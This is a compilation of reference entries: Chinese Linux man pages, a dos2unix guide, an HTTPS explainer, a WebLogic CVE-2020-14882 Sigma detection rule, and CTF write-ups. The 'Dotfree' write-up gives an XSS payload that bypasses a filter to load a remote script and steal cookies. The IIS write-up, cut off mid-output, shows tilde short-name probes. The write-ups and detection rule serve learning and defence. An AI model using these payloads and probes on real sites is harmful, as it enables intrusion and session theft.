(如同在出错恢复流程中完成的那样)
此标志默认值为关 ,
以防止可能由与
.I -dmu
组合设置导致的驱动器重置循环.
选项
.I -k
应该仅在你确信用一组选定的设置进行正确的系统操作之后被设置.
实际中,校验驱动器能够读/些并且在此过程中没有出错记录(核心消息,
大多数系统上/var/adm/messages中),是测试一个配置(在用-k之前)必须的.
.TP
.I -K
设置驱动器的 keep_features_over_reset 标志.
此项设置使驱动器在软性重置后保留
.I -APSWXZ
标志的设置 (如同在出错恢复流程中完成的那样).
并非所有的驱动器都支持此项特性.
.TP
.I -L
设置驱动器的doorlock标志. 设置为
.B 1
将锁住一些移动式硬驱动器(像 Syquest,ZIP,Jazz..)的
门锁机构.设置为
.B 0
将解锁.一般Linux根据驱动器用法自动维护门锁机构.(当安装一个文件
系统时锁住).但在系统关闭时,如果根分区在一个移动式磁盘上,
可能会有麻烦,因为在关闭后根分区仍在处在安装状态(只读).
所以,使用这个命令在根文件系统以只读的方式重新被安装
.B 后
,用户可以在关闭后从驱动器中移走磁盘.
.TP
.I -m
获得/设置驱动器多重扇区I/O的扇区数.设置为
.B 0
关闭这项特性.多重扇区模式(aka IDE Block 模式),是大多数
现代硬盘驱动器的一项特性,它允许每次I/O中断传输多个扇区,
而不是通常的一次中断一个.当这项特性被打开时,操作系统
处理磁盘I/O的开销降低30-50%.在许多系统上,它也会在任何
地方增加5% - 50% 的数据流量大多数驱动器支持最小的设置
为2,4,8或,16个(扇区).较大的设置也可能存在,这取决于驱
动器.在许多系统上设置为16或32看起来是最理想的.
Western Digital在他们的许多驱动器上推荐设置为4或8.
归因于微小的(32kB)磁盘缓冲和非最优化的缓冲算法.
选项
.B -i
被用来查出一个已安装驱动器支持的最大设置
(在输出中查找 MaxMultSect 值).一些驱动器声称支持多重扇区模式,
但在某些设置下丢失数据.在极少的情况下,这样的失败会导致
.B 严重的文件系统损坏.
.TP
.I -p
尝试为指定的PIO模式对IDE接口芯片重编程,或者尝试为驱动器支持
的最佳的PIO模式进行自动调整.核心中仅针对于一些"知名"的芯片组
支持这项特性,甚至这种支持不一定是最好的.一些IDE芯片组不能为
一个单一的驱动器改变PIO模式,在这种情况下此选项可能导致PIO
模式的设置影响到
.I 两个
驱动器.许多IDE芯片组支持少于或多于标准的六个(0到5)PIO模式,
所以实际实现的精确速度设置将由芯片组和驱动器复杂的配合改变.
.I 谨慎使用.
这项特性不包含任何针对不谨慎的保护措施,一个不成功的结果
可能导致
.I 严重的文件系统损坏.
.TP
.I -P
为驱动器的内部预读机制设置最大扇区数.
不是所有的驱动器都支持这项特性.
.TP
.I -q
安静的操作下一个标志,压制正常输出.
当从/etc/rc.c/rc.local运行时,可用来减轻屏幕混乱程度.
不适用于
.I -i
或
.I -v
或
.I -t
或
.I -T
标志.
.TP
.I -r
获得/设置驱动器的只读标志.当被设置时,设备上的写操作被禁止.
.TP
.I -R
登记一个IDE接口.
.B 危险.
参见
.B -U
选项获取更多信息.
.TP
.I -S
设置驱动器待机(低速运转)超时值.
驱动器根据此值决定在关闭主轴电机以节约能耗之前等待多长
时间(没有磁盘操作).在这种状态下,驱动器可能需要来响应一
个接下来的磁盘访问,虽然大多数驱动器要快很多.超时值的编
码有些特别.值0表示"关".值1到240被指定为5秒的倍数,
也就是超时可以从5秒到20分钟.值241到251指定30分钟的1到11倍,
也就是超时可以从30分钟到5.5个小时.值252表示超时21分钟,
253设置一个销售商定义的超时,255表示21分15秒.
.TP
.I -T
用于以基准测试和比较为目的的缓存读取计时.要得到有意义的结果,
应该在内存不少于2M,系统没有其它活动(没有其它活动的程序)
的条件下,重复操作2-3次.它显示了不存取磁盘直接从Linux缓存
读取数据的速度.这项测量实际上标示了被测系统的处理器,缓存
和内存的吞吐量.
如果标志
.I -t
也被指定,那么一个基于
.I -T
输出结果的修正量将被综合到
.I -t
操作报告的结果中.
.TP
.I -t
用于以基准测试和比较为目的的缓存读取计时.要得到有意义的结果,
应该在内存不少于2M,系统没有其它活动(没有其它活动的程序)
的条件下,重复操作2-3次.它显示了不使用预先的数据缓冲从磁盘
这项测量标示了Linux下没有任何文件系统开销时磁盘可以支持多快
的连续数据读取.为确保测量的精确,缓存在
.I -t
的过程中通过BLKFLSBUF控制被刷新.
如果标志
.I -T
也被指定,那么一个基于
.I -T
数促结果的修正量将被综合到
.I -t
操作报告的结果中.
.TP
.I -u
获得/设置驱动器"不屏蔽中断"标志.设置为
.B 1
允许驱动器在磁盘中断处理过程中不屏蔽别的中断,
它极大改善了Linux的响应性能,并排除了"串行端口溢出"错误.
.B 谨慎使用:
一些驱动器/控制器组合不能承受可能是潜在的 I/O 增长,
而导致
.B 严重的文件系统损坏.
特别,
.B CMD-640B
和
.B RZ1000
(E)IDE 接口可能是
.B 不可靠的
(由于某种硬件缺陷),当在早于 2.0.16 版本的核心下使用此选项时.
关闭这些接口的(通常通过设置BIOS/CMOS)
.B IDE 预读
特性可以安全的解决这个问题.
.TP
.I -U
注销一个IDE接口.
.B 危险.
.B -R
的对应选项.
是为特别设计用来做热交换的硬件准备的(很罕见!).
使用时要有充分的知识和
.B 非常的谨慎
,因为它很容易终止或破坏你的系统.
hdparm 的源代码包括一个 'contrib' 目录,里面有一些
用户捐赠的在一台 ThinkPad 600E的UltraBay上作热交换的记录.
自己去冒险吧.
.TP
.I -v
显示所有的设置, 除了 -i (像 -acdgkmnru 对于 IDE, -gr 对于 SCSI
或 -adgr 对于 XT). 这也是未指定任何标志时的默认操作.
.TP
.I -W
关闭/打开 IDE 驱动器的写缓存特性 (通常默认为 OFF ).
.TP
.I -X
为较新的 (E)IDE/ATA2 驱动器设置 IDE 传输模式 .
特别是当在一个被支持的接口芯片组(像 Intel 430FX Triton)
上打开通向一个驱动器的DMA时与选项
.I -d1
组合使用,在这里用
.I -X34
来选择多字 DMA 模式2 传输.
对于支持 UltraDMA burst timings 的系统,用
.I -X66
来选择 UltraDMA mode2 传输 (你需要在这之前为 UltraDMA
准备好被支持的芯片组).
另外,
.I 几乎没有必要
使用此标志,因为大多数/全部现代 IDE 驱动器默认它们最快的
PIO 传输模式为打开. 所以摆弄它是没有必要的也是冒险的.
在支持 alternate 传输模式的驱动器上,
.I -X
可以被
.I 仅
用来选择模式.
在改变传输模式之前, 应该为新模式的设置给 IDE 接口跳线或编程(见
.I -p
标志)
以防止数据的丢失或损坏.
.I 请非常小心地使用它!
对于 Linux 使用的 PIO 传输模式,此值就是要求的
PIO 模式号加 8.
这样, 值 09 设置 PIO mode1, 10 设置 PIO mode2,
11 设置 PIO mode3.
设置为 00 还原驱动器的默认 PIO 模式, 01 关闭 IORDY.
对于多字 DMA, 使用的值时要求的 DMA 模式号加 32.
对于 UltraDMA ,相应的值是要求 UltraDMA 模式号加64.
.TP
.I -y
迫使一个 IDE 驱动器立即进入低能耗
.B 待机
模式, 通常使它低速运转.
当前能耗模式状态可以用
.B -C
标志来检查.
.TP
.I -Y
迫使一个 IDE 驱动器立即进入最低能耗
.B 睡眠
模式, 使它完全关闭. 一个来自硬件或软件的重置
可以重新唤醒驱动器.
( 如果需要,Linux IDE 驱动器将自动产生一个重置 ).
.TP
.I -Z
关闭某些 Seagate 驱动器(STxxx 型?)的自动节能功能,
以防止它们在不适当的时候空转或低速运转.
.SH BUGS
像上面提到的,
.B -m 扇区数
和
.B -u 1
选项尤其要小心使用, 最好在一个只读文件系统上使用.
大多数驱动器和这些特性配合得很好,但有一些驱动器/控制器
组合不是100%兼容的.使用可能导致文件系统损坏.
请在实验之前给所有的数据作备份!
.PP
某些选项 (例如: -r 对于 SCSI) 可能在旧的核心下因为核心不
支持必要的 icctl() 而不能工作.
.PP
虽然这个命令只是为使用 (E)IDE 硬盘设备准备的,但有几个选项
也能够(允许)用于带有 XT 接口的 SCSI 硬盘设备和 MFM/RLL 硬盘.
.SH 作者
.B hdparm
是由 Mark Lord <mlord@pobox.com>, Linux (E)IDE 驱动程序
的主要开发者和维护者编写的,并听取了很多网友的建议.
.PP
关闭 Seagate 自动节能的代码是征得
Tomi Leppikangas(tomilepp@paju.oulu.fi)允许使用的.
.SH 另见
.B AT Attachment Interface for Disk Drives,
ANSI ASC X3T9.2 working draft, revision 4a, April 19, 1993.
.PP
.B AT Attachment Interface with Extensions (ATA-2),
ANSI ASC X3T9.2 working draft, revision 2f, July 26, 1994.
.PP
.B Western Digital Enhanced IDE Implementation Guide,
by Western Digital Corporation, revision 5.0, November 10, 1993.
.PP
.B Enhanced Disk Drive Specification,
by Phoenix Technologies Ltd., version 1.0, January 25, 1994.
|
sec-knowleage
|
.\" This manpage has been automatically generated by docbook2man-spec
.\" from a DocBook document. docbook2man-spec can be found at:
.\" <http://shell.ipoline.com/~elmert/hacks/docbook2X/>
.\" Please send any bug reports, improvements, comments, patches,
.\" etc. to Steve Cheng <steve@ggi-project.org>.
.TH SMBUMOUNT 8 "17 Apr 2001" "smbumount 2.2.0"
.SH NAME
smbumount \- 为普通用户卸载smb文件系统
.SH 总览
.sp
\fBsmbumount\fR \fB装载点\fR
.SH 描述
.PP
普通用户使用这个程序可以卸载smb文件系统。它在工作时会suid到root身份,
并且向普通linux用户提供了对资源更多的控制能力。在suid方面,它拥有足
够的安全性,因此,只有装载过文件系统的用户才可以调用它来进行卸载。而
对于root来说,就没有必要用这个程序了。unix中的通用umount程序也工作得
不错,但在suid到root方面的确也是有问题的。
.SH 选项
.TP
\fB装载点\fR
要卸载的目标目录。
.SH 参见
.PP
\fBsmbmount(8)\fR
.SH 作者
.PP
Volker Lendecke、Andrew Tridgell、Michael H. Warfield和其他人。
.PP
关于smb文件系统方面的工具,如\fBsmbmount\fR、\fBsmbumount\fR、和\fBsmbmnt\fR,
其维护者是Urban Widmark <URL:mailto:urban@teststation.com>。要提问题,
请到SAMBA的邮件列表<URL:mailto:samba@samba.org>。
.PP
Gerald Carter在Samba 2.2中对本手册页进行了转换。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
2001/05/20
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
### 0x1 影响版本
Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
### 0x2 漏洞详情
可参考:
<https://www.cnblogs.com/2rsh0u/p/13911794.html> # Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现
<https://www.cnblogs.com/potatsoSec/p/13895120.html> # CVE-2020-14882 weblogic 未授权命令执行复现
## 检测日志
HTTP.log
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```yml
title: Oracle WebLogic Exploit CVE-2020-14882
status: 测试状态
description: 检测WebLogic服务器上的攻击企图
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14882
- https://www.cnblogs.com/2rsh0u/p/13911794.html
- https://www.cnblogs.com/potatsoSec/p/13895120.html
logsource:
category: webserver
detection:
selection:
c-uri|contains:
- '/console/images/%252E%252E%252Fconsole.portal'
- '/console/css/%2e'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: high
tags:
- attack.t1190
- attack.initial_access
- cve.2020-14882
```
### 建议
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现
<https://www.cnblogs.com/2rsh0u/p/13911794.html>
CVE-2020-14882 weblogic 未授权命令执行复现
<https://www.cnblogs.com/potatsoSec/p/13895120.html>
|
sec-knowleage
|
# Dotfree (web, 48 solved, 105p)
```
All the IP addresses and domain names have dots, but can you hack without dot?
http://13.57.104.34/
```
[PL](#pl)
In this simple challenge we can see a form with one field for URL, suggesting the XSS attack. A quick glance at the source code:
```javascript
function lls(src) {
var el = document.createElement('script');
if (el) {
el.setAttribute('type', 'text/javascript');
el.src = src;
document.body.appendChild(el);
}
};
function lce(doc, def, parent) {
// ...
};
window.addEventListener('message', function (e) {
if (e.data.iframe) {
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
if (e.data.iframe.type == "iframe") {
lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
} else {
lls(e.data.iframe.value)
}
}
}
}, false);
window.onload = function (ev) {
postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
}
```
So appending the following JSON to the URL:
```
?{"iframe":{"value":"something"}}
```
will load and execute the script from the URL provided. We'd like to load the script from controlled server, but first we need to bypass some banned characters: dot (`.`), double slash (`//`) and unicode dot (`。`)
We can bypass the first one by putting our ip address in decimal form:
```
sasza.net -> 77.55.217.56 -> 1295505720
```
The next problem is to make browser load the script from remote server without using `http://` prefix. That one we can bypass using one of chrome features (as we believe that's the browser the bot is using) - putting double backslash as a URL prefix will be replaced with current schema - in this case `http://`. What's worth to mention, it works like this only on linux. In windows version of chrome `\\` is replaced with `file://`
Final payload:
```
http://13.57.104.34/?{"iframe":{"value":"\\\\1295505720"}}
```
will load and exec code hosted in our server. Now we just need to write a simple script to steal cookies and we get the flag:
```
rwctf{L00kI5TheFlo9}
```
The unicode dot on the list of blacklisted characters is something worth to mention. It's the protection against abusing another chrome's feature that's good to know - in URLs it's treated just like a plain ASCII dot, what has been used in simplexss challenge in 0CTF 2017 quals.
# PL
W tym prostym i przyjemnym zadanku dostajemy formularz przyjmujący od nas URL-a - co sugeruje konieczność znalezienia XSS-a. Szybki rzut oka na źródła:
```javascript
function lls(src) {
var el = document.createElement('script');
if (el) {
el.setAttribute('type', 'text/javascript');
el.src = src;
document.body.appendChild(el);
}
};
function lce(doc, def, parent) {
// ...
};
window.addEventListener('message', function (e) {
if (e.data.iframe) {
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
if (e.data.iframe.type == "iframe") {
lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
} else {
lls(e.data.iframe.value)
}
}
}
}, false);
window.onload = function (ev) {
postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
}
```
Wynika z tego, że doklejenie JSON-a formatu:
```
?{"iframe":{"value":"something"}}
```
do adresu spowoduje załadowanie i wykonanie skryptu z podanego URL-a. Chcielibyśmy w tym momencie załadować skrypt z kontrolowanego przez nas serwera, jednak przeszkodą są tu filtry na niedozwolone znaki: kropkę (`.`), podwójny slash (`//`) i unicodową kropkę (`。`).
Filtr na kropkę ominiemy podając adres naszego serwera w postaci decymalnej:
```
sasza.net -> 77.55.217.56 -> 1295505720
```
Kolejnym problemem jest zmuszenie przeglądarki, żeby załadowała skrypt ze zdalnego serwera bez możliwości użycia prefiksu `http://`. Ten filter omijamy wykorzystując pewną własność przeglądarki chrome (którą, miejmy nadzieję, wykorzystuje bot) - podanie dwóch backslashy na początku URL-a zostanie podmienione na obecny scheme - w tym przypadku `http://`. Co ciekawe, dzieje się tak tylko pod linuksem - w windowsowej wersji `\\` zostanie zmienione na `file://`.
Ostateczny payload:
```
http://13.57.104.34/?{"iframe":{"value":"\\\\1295505720"}}
```
spowoduje załadowanie i wykonanie kodu hostowanego na naszym serwerze. Teraz wystarczy napisać prosty skrypt kradnący ciastka i dostajemy flagę:
```
rwctf{L00kI5TheFlo9}
```
Warto zwrócić uwagę na obecność unicode'owej kropki na liście zabronionych znaków. Jest to zabezpieczenie przed wykorzystaniem kolejnej cechy chrome'a, którą warto znać - w przypadku URL-i taki znak zostanie zinterpretowany jako zwykła kropka, co zostało wykorzystane w zadaniu simplexss z kwalifikacji 0CTF 2017.
|
sec-knowleage
|
# 全站https
## 为什么使用https
### http的缺点
* 通信明文传输,内容可能被窃听;
* 无法验证客户端身份,可能被伪装;
* 无法验证数据的完整性,可能被篡改;
### 如何解决http的缺点
* 加密防止窃听;
* 通信加密:http本身没有加密机制,可以组合使用SSL(安全套接层)和TLS(安全传输层)技术实现通信的整个加密;
* 使用证书查明对方身份,证书由值得信赖的第三方机构颁发;
* 使用SSL提供摘要功能;
### 衍生的https
* http+加密+认证+完整性保护=https;
* https不是应用层的一种新协议,只是http通信接口部分用ssl或tls协议替换,通俗的说https就是http外边套了一层壳;
### https的算法
* 对称算法:加解密使用同一个密钥,加解密速度快,代表:DES、AES;
* 非对称算法:密钥成对出现,加解密使用不同的密钥,公钥加密私钥解密,私钥加密公钥解密,加密速度慢,代表:RSA、DSA;
### https的传输过程
* 客户端发送一个连接请求给服务器;
* 服务器将自己的证书(由CA签发,同时包含服务器公钥)、对称加密算法种类及其他相关信息返回客户端;
* 客户端浏览器比较证书里的信息,如证书有效期、服务器域名和公钥,是否由信任的CA签发,如果一致,则浏览器完成对服务器的身份认证。否则给客户一个警告信息:询问是否继续访问;
* 客户端向服务器发送客户端证书(包含客户端公钥)、支持的对称加密方案及其他信息。服务器收到后,进行相同的身份认证,若没有通过验证,则拒绝连接;
* 服务器根据客户端浏览器发送的密码种类,选择一种加密方案,用客户端公钥加密后通知到客户端浏览器;
* 客户端通过私钥解密后,得知服务器选择的加密方案,并选择随机生成一个会话密钥,接着用服务器公钥加密后发送给服务器;
* 服务器接收到浏览器传送的消息,用私钥解密,获得通话密钥key;
* 接下来的数据传输都使用该对称密钥key进行加密;
## 参考资料
[全站 HTTPS 没你想象的那么简单](https://www.cnblogs.com/mafly/p/allhttps.html)
[全站HTTPS的那些坑](http://lusongsong.com/info/post/8930.html?from=kaodertimeline)
[启用全站HTTPS后不仅更安全而且更快 看淘宝是如何做到的](https://mp.weixin.qq.com/s?__biz=MzAxNDEwNjk5OQ==&mid=402402866&idx=1&sn=f3fde8ece13d51397c12f1a08713ebeb&scene=0#wechat_redirect)
|
sec-knowleage
|
dos2unix
===
将DOS格式文本文件转换成Unix格式
## 补充说明
**dos2unix命令** 用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX text file format converter)。DOS下的文本文件是以`\r\n`作为断行标志的,表示成十六进制就是0D 0A。而Unix下的文本文件是以\n作为断行标志的,表示成十六进制就是0A。DOS格式的文本文件在Linux底下,用较低版本的vi打开时行尾会显示`^M`,而且很多命令都无法很好的处理这种格式的文件,如果是个shell脚本,。而Unix格式的文本文件在Windows下用Notepad打开时会拼在一起显示。因此产生了两种格式文件相互转换的需求,对应的将UNIX格式文本文件转成成DOS格式的是unix2dos命令。
### 语法
```shell
dos2unix [-hkqV] [-c convmode] [-o file ...] [-n infile outfile ...]
```
### 选项
```shell
-k:保持输出文件的日期不变
-q:安静模式,不提示任何警告信息。
-V:查看版本
-c:转换模式,模式有:ASCII, 7bit, ISO, Mac, 默认是:ASCII。
-o:写入到源文件
-n:写入到新文件
```
### 参数
参数:需要转换到文件。
### 实例
最简单的用法就是dos2unix直接跟上文件名:
```shell
dos2unix file
```
如果一次转换多个文件,把这些文件名直接跟在dos2unix之后。(注:也可以加上`-o`参数,也可以不加,效果一样)
```shell
dos2unix file1 file2 file3
dos2unix -o file1 file2 file3
```
上面在转换时,都会直接在原来的文件上修改,如果想把转换的结果保存在别的文件,而源文件不变,则可以使用`-n`参数。
```shell
dos2unix oldfile newfile
```
如果要保持文件时间戳不变,加上`-k`参数。所以上面几条命令都是可以加上`-k`参数来保持文件时间戳的。
```shell
dos2unix -k file
dos2unix -k file1 file2 file3
dos2unix -k -o file1 file2 file3
dos2unix -k -n oldfile newfile
```
转换当前目录下所有文件
```shell
find -type f | xargs dos2unix
```
|
sec-knowleage
|
.TH DUMPKEYS 1 "09 Oct 1997" "Console tools" "Linux User's Manual"
.SH NAME
dumpkeys \- 转储显示键盘翻译表
.SH "总览 (SYNOPSIS)"
.B dumpkeys [
.I \-hilfn1
.IB \-S shape
.IB \-c charset
.I \-\-help \-\-short\-info \-\-long\-info \-\-numeric \-\-full\-table
.I \-\-separate\-lines
.IB \-\-shape= shape
.I \-\-funcs\-only \-\-keys\-only \-\-compose\-only
.IB \-\-charset= charset
.B ]
.SH "描述 (DESCRIPTION)"
.B dumpkeys
以
.BR keymaps (5)
中 描述 的 格式, 在 标准输出 显示 键盘驱动程序 翻译表 的 当前内容.
.PP
下面 提供了 多种 选项, 可以 控制 输出格式, 也可以 显示 来自 内核 或
.BR dumpkeys (1)
和
.BR loadkeys (1)
的 其他信息.
.SH "选项 (OPTION)"
.TP
.I \-h \-\-help
在 标准错误 上 显示 版本号 和 简短 的 用法, 然后 结束.
.TP
.I \-i \-\-short-info
显示 内核 键盘驱动程序 的 某些 特征:
.RS
内核 支持的 键值(keycode) 范围:
.PP
.RS
这个特征指, 在 键盘映射文件 中,
.B keycode
关键字 后面 可以 使用 什么值. 有关 这个文件 的 语法 和 其他信息 参看
.BR keymaps (5).
.RE
单键 可编联(bind) 的 动作(action) 数:
.PP
.RS
这个特征指, 通过 修饰键 的 组合, 一个键 能够 发生 多少个 不同的 动作.
例如, 如果 该值是 16, 那么 一个键 结合 修饰键 可以 产生 多达 16 个 动作.
此时, 内核 大约 知道 存在 四个 修饰键, 你可以 按下 不同的 修饰键 组合 获得
所有 定义的 动作.
.RE
内核 支持的 动作码(action code) 值域(range):
.PP
.RS
这一项 包含 用 十六进制 表示的 动作码 值域. 这些值 能够
用在 按键定义 的 右边, 也就是 下面 这行 的
.IR vv
部分:
.RS
.B keycode
.I xx
=
.I vv vv vv vv
.RE
(有关 按键定义行 的 细节 参见
.BR keymaps (5)
).
.BR dumpkeys (1)
和
.BR loadkeys (1)
支持 符号表示法, 它 比 数字表示法 更优越, 内核 和 内核 之间的 动作码 可能
不一样, 而 符号名字 一般 不变.
然而, 动作码值域 列表 可以 用来 判断 内核 是否 支持
.BR loadkeys (1)
识别的 全部 符号, 或者 内核 支持的 动作 在
.BR loadkeys (1)
中 有没有 对应的 符号名. 你 可以 比较一下 值域列表 和 动作符号表, 参见 下述的
.I --long-info
选项.
.RE
内核 支持的 功能键(function key) 数目:
.PP
.RS
这个特征 指 能够 用来 输出 字符串 的 动作码 数目.
这些 动作码 往往 编联 键盘上的 功能键 和 编辑键, 输出 标准 escape 序列.
然而 你 可以 重定义 这些键, 让 它们 输出 命令行, 电子邮件地址 或者 其他什么.
特别是 某些 编号 的 功能键 和 编辑键 在 键盘上 不存在, 这样 就有了 "空闲的"
动作码, 例如, 把 它们 和 AltGr-字母组合 编联, 用来 输出 有用的 字符串.
详情 参见
.BR loadkeys (1).
.RE
功能串(function string):
.PP
.RS
可以 用 下面的 命令 查看 当前 的 功能键 定义
.RS
.BI dumpkeys \ \-\-funcs\-only
.RE
.RE
.RE
.TP
.I \-l \-\-long-info
这个选项 要求
.B dumpkeys
显示 较多的 信息. 显示 的 信息 除了
.I --short-info
选项 的 内容 外, 增加了
.BR loadkeys (1)
和
.BR dumpkeys (1)
支持 的 动作 的 符号名 列表, 及 对应的 数值.
.TP
.I \-n \-\-numeric
这个选项 阻止
.B dumpkeys
把 动作码 翻译成 符号名, 只 显示 十六进制数字.
.TP
.I \-f \-\-full-table
这个选项 使
.B dumpkeys
跳过 所有 速记形式(short-hand) (参见
.BR keymaps (5)),
以 行排格式(canonical) 输出 键值编联. 首先是 keymaps 行, 描述 当前 定义的
修饰键 及其 组合. 然后 每个键 显示 一行, 其中 每个 修饰键 的 组合 占 一列.
例如, 如果 键盘映射表 使用了 七个 修饰键组合, 那么 每行 将显示 七列
动作码. 这种格式 用于 诸如 对
.BR dumpkeys
输出 的 后处理 等.
.TP
.I \-1 \-\-separate\-lines
这个选项 使
.B dumpkeys
把 每个 (修饰键,键值)对 用 一行 显示. 前缀
.I plain
表示 没有 使用 修饰键.
.TP
.IB "\-S \-\-shape=" shape
这个选项 告诉
.B dumpkeys
使用 指定的 表格格式. 允许的 表格格式 有
.BI 0 :
缺省格式 (就象 没使用
.IR \-S
一样);
.BR 1 :
和 使用 选项
.IR \-\-full\-table
一样;
.BR 2 :
和 使用 选项
.IR \-\-separate\-lines
一样;
.BR 3 :
每个 键值 占用 一行 (就象 格式
.BR 1
一样), 直到 遇到 第一个 空项(hole), 然后 每个 (修饰键,键值)对 一行
(就象 格式
.BR 2
一样).
(译注: 空项 位置 可参考 dumpkeys 不带参数时 显示的 第一行, keymaps 行)
.TP
.I \-\-funcs-only
这个选项 使
.B dumpkeys
只显示 功能键 定义的 字符串. 否则
.B dumpkeys
既显示 串定义, 也显示 键值编联.
.TP
.I \-\-keys-only
这个选项 使
.B dumpkeys
只显示 键值编联. 否则
.B dumpkeys
既显示 串定义, 也显示 键值编联.
.TP
.I \-\-compose-only
这个选项 使
.B dumpkeys
只显示 组合键(compose key) 定义. 它 只对 支持 组合键 的 内核 有效.
.TP
.IB \-c "charset " \-\-charset= charset
这个选项 使
.B dumpkeys
根据 指定的 字符集 翻译 字符码值. 它 只影响 字符码值 对 符号名 的 翻译. 用
.I \-\-help
选项 可以 列出
.I charset
的 有效值. 如果 没有 指定
.I charset,
缺省字符集 是
.B iso-8859-1.
这个选项 能够 输出 一个 `charset "iso-8859-X"' 行, 告诉 loadkeys 如何 翻译
键盘映射表. (例如, "division" 在
.B iso-8859-1
中 是 0xf7, 但在
.BR iso-8859-8
中 是 0xba).
.SH "文件 (FILE)"
.I /usr/lib/kbd/keymaps/
推荐 存放 键盘映射 文件 的 目录.
.SH "另见 (SEE ALSO)"
.BR loadkeys (1),
.BR keymaps (5).
.SH "[中文版维护人]"
.B 徐明 <xuming@iname.com>
.SH "[中文版最新更新]"
.BR 2001/12/10
第一版
.SH "《中国Linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# IIS on Steroids
* Category: Web Application
* 300 Points
* Solved by the JCTF Team
## Description
> I've been hiding a file that you'll never find in dictionaries and maybe you'll find it with a brute-force attack, but it will take you like 10 years or so :)
>
> Can you deal with it?
>
> http://iis.challenges.bsidestlv.com/
## Solution
Let's connect to the server:
```console
root@kali:/media/sf_CTFs/bsidestlv/IIS_on_Steroids# curl -v iis.challenges.bsidestlv.com/
* Trying 104.248.251.27...
* TCP_NODELAY set
* Connected to iis.challenges.bsidestlv.com (104.248.251.27) port 80 (#0)
> GET / HTTP/1.1
> Host: iis.challenges.bsidestlv.com
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 400 Bad Request
< Server: Microsoft-IIS/7.5 on Steroids
< Content-Type: text/html; charset=utf-8
< Content-Length: 10
< Date: Tue, 18 Jun 2019 19:45:45 GMT
< Set-Cookie: s=9a85adfcc3667df6c60517ff3b10a82d8b32cde2; path=/; domain=challenges.bsidestlv.com
<
* Connection #0 to host iis.challenges.bsidestlv.com left intact
Nananaaaa!
```
Nothing much, apart from the fact that they are using IIS 7.5.
Searching for `"IIS 7.5" vulnerability` brings up [this link](https://www.exploit-db.com/exploits/19525) as one of the top results.
> The vulnerability is caused by a tilde character "`~`" in a Get request, which could allow remote attackers to disclose File and Folder names.
> Tilde character "`~`" can be used to find short names of files and folders when the website is running on IIS.
The attacker can find important file and folders that they are not normally visible.
The attack is based on the [8.3 Filename](https://en.wikipedia.org/wiki/8.3_filename) format, which dates back to DOS days. In short, without going into all the corner cases, file names could contains a maximum of 8 characters, a period and three more characters for the extension. Longer file names would be truncated, and the convention was to include the first six characters, a `~` character, and a number (starting from 1).
We can see this in action in one of the other challenges - [DoSaTTaCK](DoSaTTaCK.md):

`PCDOS3~1.IMG` is in fact `PCDOS330-DISK1.img` after applying the 8.3 Filename format. If we would have `PCDOS330-DISK8.img` as well, it would have been renamed `PCDOS3~2.IMG` and so on.
The vulnerability causes IIS to leak the existence of files when using this convention, which can also be combined with wildcards (`*`). The server will return a 400 error if no file matches the pattern, and a 404 error if some file does match the pattern.
For example:
```console
root@kali:/media/sf_CTFs/bsidestlv/IIS_on_Steroids# curl -I http://iis.challenges.bsidestlv.com/x*~1*
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/7.5 on Steroids
Content-Type: text/html; charset=utf-8
Content-Length: 10
Date: Tue, 25 Jun 2019 19:04:40 GMT
Set-Cookie: s=cda86a9c0d56c79bc776acfac58938ef49a39924; path=/; domain=challenges.bsidestlv.com
root@kali:/media/sf_CTFs/bsidestlv/IIS_on_Steroids# curl -I http://iis.challenges.bsidestlv.com/l*~1*
HTTP/1.1 404 Not Found
Server: Microsoft-IIS/7.5 on Steroids
Content-Type: text/html; charset=utf-8
Content-Length: 23
Date: Tue, 25 Jun 2019 19:04:33 GMT
